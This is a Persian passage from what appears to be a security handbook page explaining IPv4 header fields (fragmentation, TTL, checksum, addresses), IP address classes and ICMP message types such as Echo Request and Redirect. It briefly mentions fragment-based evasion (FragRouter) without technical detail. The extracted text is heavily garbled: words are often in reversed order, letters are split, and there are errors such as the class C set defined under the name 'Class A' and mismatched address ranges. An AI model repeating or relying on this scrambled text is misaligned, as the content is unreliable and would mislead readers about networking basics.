وان  ال  عن د  انميزب  ماشين  یک  است  ممکن  مث اگرام  بخواه ا  صدا  دیت رای  تصویر  ی ا  ارسال  مقصد  ماشين  ب د؛  نم ين  در ی  چن

ا  یک اگر که چرا صد، در صد اطمينان قابليت نه ، دارد را اطلاعات موقع به و سریع ارسال تقاضای شبکه زیر از شرایطی  ی
 حاوی های بسته اگر ولی گذاشت نخواهد کار کيفيت در چندانی تاثير شود خرابی دچار مسير در ارسالی های داده از بيت چند

د  بوجود عمده اشکال نشود تحویل موقع سر و سرعت به تصویر یا صدا اطلاعات د  خواه ه ) آم ن  ک ورد  ای ا  را م ه  ب وارد  هم  م
 سرویس  تقاضای  شبکه زیر از ميزبان ماشين مواقعی چنين در .( کرد مشاهده ایران ارتباطی خطوط در توان می اصطلاحی

ل  دیگر های محيط از برخی در . نماید می ( اطمينان غير جرملا و) سریع ه  ارسال  مث ا  الکترونيکی  نام ه  ی ل  مبادل  انتظار  فای
 تجاری های مسيریاب اکثر . داشت نخواهد کار کيفيت بر چندانی تاثير سرعت و دارد وجود شبکه زیر از درصد صد اطمينان

   .دهند نمی آن محتوای به تیاهمي و گيرند می نادیده راType of service  فيلد
  

ه  را IP  بسته کل طول که گيرد می قرار عددی بيتی 16 لدفي این در :Total Length  فيلد • دازه  مجموع  شامل  ک  و سرآیند  ان
ر  طول مبنای . کند می تعيين است، داده ناحيه ابراین  و است  بایت  حسب  ب سته  کل  طول  حداکثر  بن د  می ؛ IP  ب  65535  توان
 .باشد بایت

  
اگرام  یک مجبورند ميزبان های ماشين یا ها مسيریاب مواقع از برخی شد اشاره قبلا که همانگونه:  Identification  فيلد •  دیت

 می شکسته واحد گرام دیتا یک وقتی بنابراین کند، بازسازی را آنها است مجبور مقصد ماشين و بشکنند کوچکتر قطعات به را
وان  مقصد  در آن بازسازی هنگام در تا باشد داشته ای مشخصه باید شود ه  بت اگرام  آن های  قطع ه  از را دیت دا  بقي رد  ج ه  .ک  کلي
 را آن ها، قطعه گردآوری از پس باید و بوده دیتاگرام یک به مربوط های قطعه شوند می وارد شماره این با که IP  های بسته
ام  بگيرد رارق 1652 عدد فيلد این در اگر مثال عنوان به . کرد بازسازی مجددا سته  تم ه  IP  های  ب د،  1652 مشخصه  ک  دارن
 . دهند تشکيل را کل واحد یک و شوند بازسازی باید ها قطعه کل دریافت از پس و هستند م گرا دیتا یک به مربوط های قطعه
ه  رای  البت ظ  ب ب،  حف ه  هر  ترتي ين ه ( مشخصه  شماره  یک  از گذشته  قطع ورد  م ستی  ) م ز  ترتيب  شماره  دارای بای  ني
  .کرد بازسازی و مرتب شماره این طبق را آنها بتوان تا (Fragment Offset – FO)باشد

 
ه  است  آن ، داشت خاطر به باید که ای نکته ( است شده سازماندهی بخش سه در فيلد این Fragment Offset  فيلد •  معمولا  ک

  باشد می No معادل  0ددع و بود خواهد معادل Yes  با معادل تقریبا 1 عدد ها، بحث گونه این در
 

ن  شدن  یک  با پيداست، نيز آن انگليسی معنی از که طور همان Don’t Fragment  یا DF  بيت + سته  یک  در بيت  ای   IP ب
ن  اگر  . نيست  شده  تکه  تکه های دیتاگرام بازسازی به قادر مقصد که چرا کند، قطعه قطعه را آن ندارد حق مسيریابی هيچ  ای
 .شد خواهد حذف لاجرم بدهد انتقال اندازه، بزرگی دليل به آنرا نتواند مسيریاب و باشد هشد تنظيم 1 به بيت

 
 ++ MF یا More Fragment بسته آیا که کند می مشخص بيت این IP  ا  شود  می محسوب  دیتاگرام یک از قطعه آخرین  ی
 .باشد می 1ما الزا بقيه در و بود خواهد فرص MF بيت دیتاگرام یک از قطعه آخرین در . دارد وجود بعدی های قطعه هم باز

 
 +++Fragment Offset ه  هر  ترتيب  شماره  حقيقت در است بيتی سيزده که قسمت این اگرام  یک  در قطع  شده  شکسته  دیت

 ربسيا نکته . شود تقسيم تکه 8192 به تواند می حداکثر دیتاگرام یک فيلد، این بودن بيتی سيزده به توجه با . شود می محسوب
دازه  آخر، قطعه استثنای به یعنی . باشد 8 از ی ضرایب باید قطعه هر اندازه که است آن فيلد این مورد در مهم ه  ان ه  بقي ا  قطع  ه

شان  بگيرد قرار 7 مقدار offset   فيلد در اگر مثلا .باشد بایت 8 از ضریبی که شود انتخاب ای گونه به بایستی د  می  ن ه  ده  ک
  56 )  ششم و پنجاه بایت موقعيت در شده بازسازی = 8 × بود خواهد (7 دیتاگرام در یجار قطعه گرفتن قرار محل

 
ه  ای گونه به کند ه قطع ه قطع را بایت 5000 طول به دیتاگرام یک است مجبور مسيریابی کنيد فرض دیگر مثالی عنوان به  ک

د  نمی موردی چنين در . باشد بایت 1500 زیر قطعه هر اندازه دازه  توان ه  هر  ان رد  نظر  در بایت  1250 را قطع ه  چرا  بگي  ک
سته  یک  و بایتی 1280 بسته سه به را دیتاگرام مسيریاب، حالت این در .است مناسب 1280 اندازه ولی نيست 8 از ضریبی  ب
سيم  از دیتاگرام طول بازمانده اجبارا) 1160 ر  طول  تق سته  در ،8 ب رار  آخر  ب د  ق ه  گرفت  خواه سلما  ک سته  دیگر  طول  از م  ب
 .شکند می بایتی (بود خواهد کمتر

  
ه  را 2322 شماره  مسيریاب کنيد فرض مثال این در وان  ب اگرام  مشخصه  عن رده  انتخاب  دیت ابراین  . است  ک ار  از یک  هر  بن ه  چه  حلق

   :بود خواهد زیر صورت به مشخصه وoffset  فيلد دیتاگرام،
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ان  ماشين  یک  از واحد گرامِ دیتا یک است ممکن : که اینجاست نکته ق  شبکه  روی ، ميزب ه  ، مسير  طول  در و شود  تزری سيریابی  ب  م
ر  جای  هر  در است  ممکن  دیتاگرام یک شکستن عمل .شود کوچکتر قطعات به آن شکستن به مجبور دليلی به که برسد اق  شبکه  زی  اتف
   .گرفت خواهد انجام مقصد ماشين در فقط بازسازی عمل وليکن بيافتد

  
وذگر  آن اساس بر که شوید می شناآ مکانيزمی به بعدا د  می  سعی  نف رای  خود  تلاش  کن ه  ب ه  حمل ستم  یک  ب ن  . دارد نگه  مخفی  را سي  ای

 خواهد داده توضيح مفصل طور به بعدقسمت های  در که FragRouter  مبحث) است IP  شده قطعه قطعه های بسته بر مبتنی مکانيزم
ده   ماشين  در اختلال برای را حملاتیFragment Offset  فيلد در عمدی دستکاری با نفوذگر که دید خواهيد همچنين .(شد ا  گيرن  یینه

  .بيند می تدارک بسته،
  

د  می  شمارنده  یک نقش در بيتی هشت فيلد این (counter) ، مشخص را بسته عمر طول TTL یا Time To Live فيلد •  . کن
د  می IP  هبست یک که کند می اشاره زمانی به ضمنی بطور بسته یک عمر طول ر  توان  حداکثر  باشد  سرگردان  شبکه  روی ب
ود  خواهد  255 بسته، یک عمر طول ه  ب ه  ک ور  ازای ب سيریاب  هر  از عب ه  شبکه  در) م ور  ب سته  عب سيریاب  یک  از ب  یک  م
 یک حافظه در شدن بافر دليل بهIP  بسته یک گاه هر . شود می کم واحد یک فيلد این مقدار از ( شود می گفته Hop  یا جهش

ه  فيلد این مقدار آنکه محض به . شد خواهد کم فيلد این از واحد یک ثانيه هر ازای به بماند، معطل را زمانی مسيریاب  صفر  ب
وگيری  مقصد سمت به آن حرکت و سير ادامه از و شده حذف باشد مسير از نقطه هر در IP  بسته برسد د  جل ه  . شد  خواه  البت
رین  اگرچه . شد خواهد فرستاده پس باز کرده توليد را بسته آن که ماشينی به هشدار پيام یک معمولا ه  عددی  بزرگت د  در ک  فيل
ستم  که مقداری عمل در ولی است 255 عدد گيرد می قرار بسته عمر طول ن  در عامل  های  سي د  ای رار  فيل د  می  ق زی  دهن  چي
رد  عوض  را آن فرض پيش مقدار توان می البته است 64 حدود د  می  ک ه  تواني ام  را TTL از ای نمون  یک  کردن  ping  هنگ
 ببينيد سرور

 
.(Start => Run => Cmd.exe => Ping <Server-IP>)  

 
  
ه  و است حياتی بسيار ميچرخند بسته مسير یک در دليل هر به که IP های بسته از شبکه زیر پاکسازی برای فيلد این دتی  از پس  گرن  م
د  می بوجود دليل این به گاها سرگردان های بسته . شد خواهد پر آشغال های بسته از شبکه زیر کل ه  آین سيریابی  جداول  ک  بعضی  در م
ر  مسئله شبکه زیر در بسته یک سرگردانی . اند شده  (Corrupt)نادرست اطلاعات به آلوده ها مسيریاب از ی  غي اهی  و نيست  ممکن  گ

 .افتد می اتفاق
 
   .کنند می استفادهIP  بسته در TTL  فيلد از نحوی به همگی Cheops ،traceroute و FireWalk از استفاده در
  

د  • اگرامی  Protocol  فيل ه  دیت د  در ک سته  یک  از داده فيل ا  ، شود  می  حمل  IP ب ه  از خاص  داده ساختمان  ب الاتر  لای ل  ب  تحوی
ن  است  ممکن مثال عنوان به . شود ارسال شبکه روی تا ، شده TCP ارسال بالاتر لایه در IP پروتکل ا  داده ای  پروتکل  را ه
ه   است  ی پروتکل شماره فيلد این مقدار بنابراین .باشد شده انجام  UDP پروتکل توسط کار این است ممکن یا و باشد کرده  ک
 داده تحویل شده تعيين پروتکل به باید مقصد در دریافت از پس ها بسته است؛ کرده دیتاگرام یک ارسال تقاضای بالاتر لایه در
 .شود

  
الی  خطاهای کشف منظور به است بيتی شانزده که فيلد این Header Checksum  فيلد • سته  هر  سرآیند  در احتم تفاده  IP ب  اس

 جمع  حاصل نهایتا . شود می جمع یکدیگر با بایت دو بایت، دو صورت به سرآیند کل خطا، کشف کد محاسبه برای . شود می
 گيرد می قرار header  و سرآیند از فيلد این در منفی عدد این و شود می منفی One's Complemet  یک مکمل” روش به
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سيریابی  و پردازش از قبل مسيریاب هر در . دا  م د  سر  درون اطلاعات  صحت  ابت د  دقت  .شوند  می  بررسی  آین ه  کني د  ک   فيل
Checksum را  شود  دهی مقدار و محاسبه نو از باید مسيریاب هر در ی  زی سته  یک  وقت سيریاب  یک  وارد IP  ب  شود  می  م

   .شد خواهد عوض بسته آن از TTL  فيلد حداقل
 

ابراین  . دارد بيتی 32 یکتای و جهانی آدرس یک اینترنت شبکه در ميزبان ماشين هر  Source Address فيلد •  ماشين  هر  بن
ا  آدرس بحث . بدهد قرار فيلد این در را خودش آدرس باید IP  بسته یک توليد هنگام در ميزبان سا  از کی ی اینترنت  در ه  لیم
   .گوئيم می IP آدرس بعد به این از آدرس این به پرداخت خواهيم آن به مجزا بخشی در که است مهمی ار بسی

  
 می  قرار بشود، آن تحویلIP  بسته باید که مقصد ماشين به مربوط بيتی 32 آدرس فيلد این در  Destination Address فيلد •

  .گيرد
 
  

رار  بایت  40 حداکثر  تا توان می ، اختياری فيلد این در Options  اختياری فيلد • ه  . داد ق ل  ب ی  دلي ودن  اهميت  ب ن  ب د  ای  از فيل
 .کنم می نظر صرف آن توضيح

 
 مبحث به بایستی IP  بسته یک ساختار شناسایی از پس اکنون گيرد می قرار بالاتر لایه از دریافتی های داده فيلد این در Payload  فيلد

 .کند می کمک بهتر مسيریابی چگونگی واقعيت درک در را شما  IP های آدرس مفاهيم . بپردازیم IP  پروتکل در ها آدرس
 
 

  اينترانت و اينترنت در ها آدرس مبحث
 

ره  بيتی 32 یکتای و فرد به منحصر های آدرس از ای شبکه بين ارتباطات در اینترنت پروتکل کردیم اشاره بدان قبلا که طور همان  به
 ابزار هر .( شد خواهد بيتی 128 ها آدرس این شد خواهد گير همه 2005 سال تا که اینترنت پروتکل بعدی نسل در که چند هر) برد می

  .شوند می شناسایی IP آدرس یک با اینترنت در شبکه های چاپگر و ها مسيریاب ميزبان، ای ه ماشين از اعم شبکه
 
  :کنيم العهمط و بررسی را زیر موارد باید فصل این ادامه در
 

ه  IP  های آدرس مختلف کلاسهای شود؟ می سازماندهی چگونه IP  آدرس هر قالب ه  و منظور  چه  ب ه  سازماندهی  چگون  آدرس چگون
 یک هستند؟ چگونه IP های آدرس نمایش قراردادهای و شد خواهد تبدیل ، فيزیکی لایه افزاری سخت های آدرس به IP  شوند می های

 آدرس نماید؟ پيدا شبکه به متصل ماشين ميليون دهها بين را ماشين یک دقيق محل بایتی، چهار آدرس یک از ندتوا می چگونه مسيریاب
 صورت به و (Octet) بيتی هشت قسمت چهار به نمایش سادگی برای وليکن شوند می درج بيتی 32 دویی دو عدد یک درون  IP های
ه  آدرس های  بایت  از یک  هر  دهی  ده معادل یعنی شوند؛ می نوشته اند، شده جدا هم از نقطه با که دهی ده عدد چهار  مجزا  صورت  ب
  IP آدرس یک زیر آدرس مثال عنوان به . شود می تفکيک دیگری از . علامت یک با عدد هر و شده نوشته

 
رار  سایت  در ای مقاله در نيز یکدیگر به ها آدرس تبدیل مبحث البته است شده نوشته دهی ده قسمت چهار قالب در که باشد می معتبر  ق
  :دارد 

 
34.21.225.1 

  
  :شود می تنظيم IP  بسته یک از آدرس فيلد در زیر صورت به آدرس این

  
00100010000101011110000100000001 

  
د  می  مشخص  را آدرس کلاس  IP  آدرس از چپ  سمت  بایت اولين یعنی بایت ترین ارزش پر ن  از و کن ژه  ، اهميت  دارای ، رو ای  وی

شریح  را آدرس های  کلاس آنکه از قبل ولی . است يم  ت از  ، کن م  ب ن  روی ه ه  ای ه  نکت يم  می  تکي ه  کن ی  ک ان  ماشين  یک  وقت ه  ميزب  آن ب
ا  شبکه  روی ماشين  هر  حقيقت  در .باشد (Unique IP) آدرس بایستی شود می متصل اینترنت شبکه IP یکتا و فرد به منحصر  یک  ب
 !!! باشد ماشين دو به مربوط تواند نمی یکتا آدرس یک مثلا و کند می پيدا هویت یکتا آدرس

 
رای  ان  ب ا  از اطمين ودن  یکت رای  IP  های  آدرس ب ومی،  ارتباطات  ب  (Internet Network Information Center) مرکز  عم

InterNIC های آدرس روی بر نظارت و کنترل  IP ستم  .است گرفته عهده بر را  (Internet Assigned Number Authority)سي
IANA های آدرس اختصاص برای اجرائی قدرت IP  ه  منحصر رد  ب راهم  را ف رده  ف د  هر  . است  ک ه  خصوصی  های  شبکه  چن ه  ک  ب
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ن  اگر ولی  کنند استفاده دلخواه IP  های آدرس از توانند می نيستند وصل اینترنت ا  شبکه  ای انی  ه د  زم ه  بخواهن  شوند  وصل  اینترنت  ب
ين  به داد؛ خواهد رخ (Conflict) مسيریابی در اشکال و تناقض نهایتا و تایک غير های آدرس دوگانگی ل  هم شنهاد  دلي ه  است  شده  پي  ک

 معتبر های آدرس از و بگيرند مجوز InterNIC مرکز از ميزبان های ماشين به آدرس اختصاص برای نيز خصوصی های شبکه حتی
   !!کنند استفاده اختصاصی و
  
  

  IP آدرس های کلاس
  
ذا  ، است شده طراحی بزرگ مقياس با های شبکه برای  TCP/IP که جاآن از وان  نمی  ل ه  داشت  انتظار  ت ی  32 فضای  ک ه  آدرس بيت  ک

 و نظم  هيچ بدون گذارد، می اختيار در را آدرس 4,294,967,2 –  5 – 255*255*255* 255  ميليون سيصد و ميليارد چهار حدود
ن  . شود  هداد اختصاص شبکه های ماشين به خاص سياق ار  ای د  ک د  آن همانن ود  خواه ه  ب ام  ک ان  تم ا  آپارتم ازل،  و ه ان  کل  در من ا  جه  ب

د  شود  مشخص  رقمی  ده های  شماره  ذاری  شماره  در ای ضابطه  هيچ  آنکه  ون ب ا  گ شده  رعایت  آنه اه  . باشد  ن ی  آنگ ا  منزل  شماره  ب
  !!شود می پيدا چگونه 10668754359

 
ه  و است دهی آدرس قابل دنيا کجای هر در منزل هر که ای گونه به دارند، زیر صورت به مراتبی سلسله ساختاری پستی های آدرس  ب
   :شود می پيدا راحتی

 
 کشور/شهر/ناحيه/خيابان/کوچه/شماره

  
  است منظور همين به IP آدرس های کلاس فلسفه

 
 شبکه آدرس/شبکه زير آدرس/ماشين آدرس

  
  
  . است بهتر ميزبان های ماشين به دادن آدرس برای باشد، می هم به شده متصل های شبکه از ای مجموعه اینترنت آنکه به توجه با
  

 شود تقسيم زیر های قسمت به IP آدرس  يت ب٣٢
  

  .شبکه درسآ) الف  •
 

  )لزوم  صورت در ( شبکه زیر درسآ) ب  •
 

  Host/Destination Mechine یا ميزبان ماشين آدرس ) پ •
 
  

ه  . کنيد تحليل و بشناسيد بدقت را ا آنه بایستی شما که اند شده معرفی E,D,C,B,A  کلاس پنج در IP  های آدرس ه  مهمی  ی نکت  در ک
ه  صورتی در . باشند داشته را 255 از بيشتر یا (!!) منفی مقداری توانند نمی گاه هيچ  IP های آدرس که است این دارد قرار بين این  ک

 :شد خواهد ارائه زیر صورت به باشيم، داشته گفته این از ریاضی تعریفی بخواهيم
 

IP Addresses ={ (W.X.Y.Z)Dec | 0=<W,X,Y,Z=<255 } – { 5 Special Addresses } 
  
   :است شده مشخص IP  آدرس گانه پنج کلاسهای قالب زیر در
  

  :است زیر صورت به A  کلاس در آدرس بيتی 32 قالب:   A کلاس آدرس
  
 بعدی بيت 7 کند؛ می متمایز ها کلاس دیگر از را A ، کلاس بيت، این و دارد صفر مقدار س،آدر از بيت ترین ارزش پر A کلاس در
 محدوده در پرارزش بایت  A کلاس در بنابراین . کند می تعيين را ميزبان ماشين آدرس باقيمانده، بایت سه و “ شبکه آدرس مشخصه”

 رسيد نتيجه این به توان می کرد، دهی آدرس را ميزبان اشين مميليون دههف حدود توان می بيت 24 با چون . کند می تغيير 127 تا صفر
ستی  A  کلاس  های  آدرس که رای  بای رات  ستون  های  آژانس  ب ا  اینترنت  فق ا  شبکه  ی سيار  ه ل  عظيم  ب ا  NSFNet  مث  ARPANet  ی

ن  که چرا شود انتخاب 127 یا صفر  اعداد تواند نمی وجه هيچ به کلاس این در شبکه مشخصه .باشند شده داده اختصاص  در عدد  دو ای
يم  می  اشاره آن به بعدا که دارند دیگری معنای شبکه ابراین  . کن داد  بن تفاده  تع د  اس ا  126 کنن د  ت ه  شد  خواه سيار  ک م  ب  امروزه  . است  ک



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٦٣    صفحه

ر A  کلاس  های  س کلا از توانند می جهان در که هایی شبکه A آدرس اختصاص ه  چرا  است  ممکن  غي ه  ک ا  هم شگامان پ توسط  آنه  ي
ه  IP آدرس یک  به وقتی .اند شده تصاحب و تمليک بلق سالها شبکه اه  است  شده  نوشته  دهی  ده قالب  در ک د  می  نگ ه  کني  می  راحتی  ب
  .بود خواهد A کلاس از آدرس آن باشد، 127 تا صفر بين آدرس، چپ سمت عدد اگر . دهيد تشخيص آنرا کلاس توانيد

 
74.103.14.138 

  
  :ریاضی تعریف

 
Class A IP Addresses = { (X,Y,Y,Y) | 0<X<127 , 0=<Y=<255 } 

  
  

  : است زیر صورت به  B کلاس در آدرس بيتی 32 قالب B کلاس آدرس
  
رارزش  بيت  دو گاه هر دار  آدرس از پ د  B  کلاس  از آدرس آن باشد  داشته  10 مق ود  خواه ده  بيت  14 ب  چپ،  سمت  بایت  2 از باقيمان

ان  ماشين  آدرس ) بيت  16 ( راست  سمت  از اول بایت دو و ندک می تعيين را شبکه آدرس د  ميزب ود  خواه  B  کلاس  های  آدرس در . ب
د  می  شبکه هر و بود خواهد تعریف قابل گوناگون شبکه 2-214 ؛ 16382 تعداد ان  ماشين  2-216 ؛ 65534 توان د  تعریف  ميزب  . نمای

وان  نمی  عملا  امروزه  . است سبمنا عظيم بسيار های شبکه برای B  کلاس های آدرس اختصاص ه  چرا  گرفت  B  کلاس  آدرس ت  ک
ه  IP  آدرس اگر . اند شده داده تخصيص آنها همه تقریبا ين  آن پچ  سمت  از عدد  اول و شود  نوشته  دهی  ده صورت  ب ا  128 ب  191 ت
  :بود خواهد B کلاس آدرس، آن باشد،

 
134.64.143.24 

 
 :ریاضی تعریف

  
Class B IP Addresses = { (X,Y,Y,Y) | 128<X<191 , 0=<Y=<255 } 

  
  است زیر صورت به کلاس در آدرس بيتیِ 32 قالب ؛ C  کلاس آدرس

  
رارزش  بيت سه کلاس، این در است مشخص که گونه همان . است IP های آدرس از کلاس ترین بردرکا پر و ترین مناسب C کلاس  پ
ه  بکار  نظر  مورد شبکه آدرس تعيين برای چپ سمت بایت سه از بعدی بيت 21 و است 110 مقدار دارای ابراین  . است  رفت ن  در بن  ای
رای  .نماید تعریف ميزبان ماشين عدد 254 تا تواند می شبکه هر کردو دهی آدرس جهان در را شبکه ميليون دو حدود توان می کلاس  ب

ين  عدد  اگر  .کنيد نگاه است دهش نوشته دهی ده صورت به که IP  آدرس از چپ سمت عدد به C  کلاس های آدرس تشخيص ا  192 ب  ت
  :بود خواهد C کلاس از آدرس آن بود  223

 
199.164.78.132 

 :ریاضی تعریف
 

Class A IP Addresses = { (X,Y,Y,Y) | 192<X<223 , 0=<Y=<255 } 
 
 

  است زیر صورت به D  کلاس در آدرس بيتی 32 قالب D کلاس  آدرس
 
ده  بيت  28 و است  1110 مقدار دارای پرارزش بيت چهار کلاس این در رای  آدرس کل  از باقيمان ين  ب د "  های  آدرس تعي  –مقصده  چن

MultiCast"  کاربرد ميزبان ماشين ین چند برای همزمان طور به دیتاگرام یک ارسال برای آدرسها این از .است گروهی های آدرس 
  .رود می بکار خشیب چند و ای رسانه عمليات منظور به و دارد

 
د  خاصی کاربرد است 11110 چپ سمت در آنها ارزش پر بيت پنج که آدرسها از دسته این فعلا E کلاس آدرس رای  و ندارن تفاده  ب  اس
  .اند نشده جهانی تاکنون ولی شد استفاده ها آدرس این از آزمایشی صورت به گاهی البته . اند شده رها استفاده بدون آینده در
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  ICMP (Internet Control Message Protocol):پروتکل
  

ی  IP  پروتکل  دون  پروتکل ر  وConnectionless   اتصال  ب ل  غي اد  قاب دون   !است  Unreliable  اعتم دین   ، اتصال  ب ا ب ه  معن  ، ک
ا  وجود  از اطلاعی بتواند آنکه بدون نماید، می ارسال بعدی مسيریاب یا بسته مقصد با هماهنگی هيچگونه بدون را بسته هر مسيریاب  ی

سيریاب  هر  ضمن  در . باشد  داشته  مقصد  وجود  عدم  سته  یک  ارسال  از پس  م را  ب د  می  فراموش  آن ام ” منتظر  و کن  دریافت  پي
د  نخواهد آن گيرنده از IP مقصد به اصلا یا و برسد مقصد به خطا باAcknowledgment Message“بسته سته  یک  اگر  .مان  نرسد  ب
  .دهد نمی بسته فرستنده به آن سرنوشت مورد در اطلاعی هيچ پروتکل این

  
ان  است ممکن : دارد وجود مقصد به بسته یک نرسيدن برای مختلفی دلایل ات  زم سته  (TTL)  حي ل  ب ه  رسيدن  از قب  منقضی  مقصد  ب
سته  کردن  قطعه قطعه هنگام در است ممکن کند؛ هدایت اشتباه مسيری به را بسته مسيریاب است ممکن شود؛ ا،  ارسال  و ب  از یکی  آنه
سته  مقصد  است  ممکن بود؛ نخواهد بازسازی قابل دیتاگرام کل بنابراین نرسد مقصد به دليلی هر به یا شود خطا دچار عاتقط ادگی  ب  آم

ام  در . باشد  نداشته  خارجی  وجود  اصلا  یا باشد نداشته را بسته دریافت روز  هنگ ه  ب ه   IP پروتکل  خطا،  هرگون تنده  ب سته  فرس  هيچ  ب
 .داد نخواهد آن سرنوشت مورد در اطلاعی

 
ه  شود  می  هایی بسته زائد و بيهوده حمل و خطا تکرار به منجر بسته یک کننده توليد به خطا گزارش عدم ه  محکوم  ک ا  ب  در حذف  و فن
 ارسال به اقدام آن فرستنده که شد خواهد باعث بسته دریافت برای مقصد نبودن آماده مورد در گزارش عدم مثال عنوان به . هستند شبکه
زایش  را شبکه  ترافيک بار فقط و بود خواهد ثمر بی کار این که حالی در کند دیگر های سته ب د  می  اف ی  و ده د  می  حت ه  منجر  توان  ب

  .شود “ازدحام” بروز
  

ا  انواع بررسی برای IP  پروتکل کنار در ICMP  پروتکل ام  ارسال  و خط رای  پي دا  ب سته  مب ام  در ب ر  هنگ  ناخواسته  ، اشکالات  وز ب
ا  شود  می  نصب  IP  پروتکل روی بر که است خطا گزارش سيستم یک ICMP  حقيقت در .شود می دهاستفا روز  صورت  در ت  هر  ب
ط  بلکه  ندارد خطا وقوع قبال در ای وظيفه  ICMP واقع در . نشود تکرار خطا آن تا بدهد را مناسب پيام بسته فرستنده به خطا گونه  فق
 گزارش  پيام سری یک قالب در را موجود اشکالات پروتکل این . گرداند می بر فرستنده به است آن نوع و خطا بروز بيانگر که پيامی
 در .گردد می باز فرستنده آدرس به مقصد ماشين یا مسيریاب یک جانب از که گيرد می قرار IP  بسته یک در خود پيام این که کند می
   :است شده داده نشان IP  بسته یک درون  ICMP پيام یک گرفتن قرار چگونگی زیر

 
 

 
 
 
ابراین  شود  می جاسازی IP  بسته یک درون خود ICMP  پيام آنکه به توجه با د  بن سته  سرآیند  در Protocol  فيل د  IP  ب ا  بای  شماره  ب

 گونه این برای که شوند خطا دچار است ممکن نيز ICMP  های بسته خود که کنيد دقت . شود تنظيم ١ یعنی ICMP پروتکل مشخصه
  :است شده مشخص زیر در  ICMP پيام قالب و کلی شکل .شد نخواهد ارسال پيامی خطا

 

 
 

 به بسته Data  و Parameters  های فيلد ساختار و باشد می پيام نوع بيانگر که گيرد می قرار عددی فيلد این در  Type فيلد •
 .بود خواهد متفاوت گيرد، می قرار فيلد این در که عددی

 
 گيرد می قرار فيلد این در نوع زیر کد که شود می تقسيم دیگر “نوع زیر” چند به پيام نوع خود گاهی Code  فيلد •

  
ن  محتوای Checksum فيلد • د  ای رای  فيل ار  سنجش  ب سته  سلامت  و اعتب ورد  ICMP  ب تفاده  م رار  اس رد  می  ق ام  . گي سته  تم  ب

ICMP ی  16 عددی  جمع  اصلح 1 مکمل از نهایتا و شده جمع بایت دو بایت دو صورت به د  می  بدست  بيت ه  آی ن  درون ک  ای
 .گيرد می قرار فيلد

  
  کنيد توجه موارد این به ping نتایج بررسی برای دهيم می توضيح را ICMP های پيام ساختار و نوع ادامه در
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  Destination Unreachable  پيام •

  
ه  یا بدهد تشخيص  را مقصد آدرس نتواند مسيریاب یک یا شبکه زیر که شود می صادر زمانی پيام این ی  هر  ب سته  دليل  ماشين  توسط  ب

  آن شکستن برای مسيریاب به اجازه عدم و ها بسته اندازه بودن بزرگ دليل به مثلا نشود گرفته تحویل ميزبان
  
 

  Time Exceeded  پيام •
  
ه  TTL  یعنی باشد شده منقضی بسته یک قانونی مهلت که شود می صادر زمانی پيام این يده  صفر  ب سيریاب  یک  و باشد  رس ور  م  مجب
 .شد خواهد ارسال آگاهی برای IP  بسته فرستنده آدرس به پيام این حالتی چنين در کند؛ حذف آنرا شود

 
  

   Parameter Problem  پيام •
  
د  صادر زمانی پيام این ه  شد  خواه دار  ک ا  مق ر  ن د  از یکی  در معتب سته  در سرآیند  های  فيل رار  IP  ب ه  ق سيریاب  و باشد  گرفت ادر  م ه  ق  ب

ا  و باشد گرفته قرار 5 عدد  IP بسته از Version  فيلد در مثال عنوان به . نباشد  IP بسته آن سرآیند تفسير و تشخيص  Checksum  ی
   .باشد داشته تناقض سرآیند، با
  
  

  Source Quench: پيام •
 
ه  چرا بدهد کاهش را هایش بسته ارسال حجم شود خواسته آن از که شود می ارسال ميزبان ماشين یک برای زمانی بسته این ر  در ک  غي
اه  هر  مجموع در . آمد خواهد پيش ازدحام صورت این ان  ماشين  یک  از گ اهش  تقاضای  ميزب رخ  ک د  ن سته  ارسال  و تولي  راIP  های  ب

 توليد سرعت تواند می نکرد، تدریاف را پيام این مشخصی  مدت طی از پس ميزبان ماشين اگر . کند می صادر را پيام این د باش داشته
  .برگرداند اول حالت به را ها بسته

  
  

 Redirect: پيام •
  
 و نيستند صحيح ر مسی در است شده ارسال او برای که هایی بسته یا بسته کند احساس مسيریاب یک که شود می صادر زمانی پيام این

الی  خطاهای هشدار یبرا تواند می پيام این . دارد وجود مسيریابی در اشکالی احتمالا وثر  احتم د  فرض  . باشد  م ه  کني سيریاب  ب  R 1  م
ه  آنرا او تا فرستاده R 2  مسيریاب به آنرا مسيریابی جدول بررسی با او و شده ارسال ای بسته اند  X  مقصد  ب ا  R 2 اگر  حال  . برس  ب

 اعلام ، فرستنده به پيام این ارسال با ند هستواقع بکهش یک در بسته آن فرستنده و او خود که رسيد نتيجه این به شبکه زیر الگوی مقایسه
ه  شود  ارسال  R 1 به اینکه جای به هایش بسته بعد به این از اگر که کند می ر  شود،  داده  R 2 ب ه  زودت د  مقصد  ب يد  خواه  ضمنا  . رس

   .دهد می قرار Gateway Internet Access فيلد در نيز را خودش IP  آدرس
  
 
 

 Echo Request   و  Echo Reply  های پيام •
 

  Echo Request پيام
  

 دریافت به پاسخ در .خير یا است موجود و دسترس قابل شبکه خاص ماشين یک آیا بداند بخواهد مسيریاب یک که شود می صادر وقتی
Echo Request  ا  مقصد ام  ارسال  ب ه  Echo Reply ، پي د  می  پاسخ  آن ب ا  .ده ن  ب د تو می  ماشين  یک  پاسخ،  و پرسش  ای ل  از ان  قاب

 .شود مطلع شبکه در ميزبان ماشين یا مسيریاب یک بودن دسترس
 
  :کنيم می معرفی را آنها بسته ساختار حملات، از برخی تحليل در پيام دو این حساس و ویژه بسيار اهميتی دليل به
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  :است زیر شرح به بالا بسته در Type فيلد در مختلف های شماره معنای
  

o 8 پيام کردن مشخص برای  Echo Request  
  

o 0 پيام کردن مشخص برای Echo Reply   
  

ه  ماشينی  .شود  می ارسال مقصد ماشين سمت به Echo Request  پيام ابتدا را  ک د،  دریافت  آن دا  های  آدرس کن  عوض  را مقصد  و مب
رده  را  Type  و ک ه  8 از آن ر  صفر  ب د  مجدد  محاسبه  از پس  داده، تغيي را  خطا،  کشف  ک از  آن د  می  ب د  . گردان  و Identifier  های  فيل

Sequence Number ه  مربوط پاسخ یک بداند مبدا تا است برگشت و رفت های پيام تطابق و همخوانی در اشتباه از پيشگيری برای  ب
  !! دارد زیادی کاربرد و شود می گفته Ping  عمل پاسخ، بازگشت و Echo بسته رفت فرآیند به .اوست تقاضای کدام

  
 

 Timestamp Request  و Timestamp Reply های پيام •
 
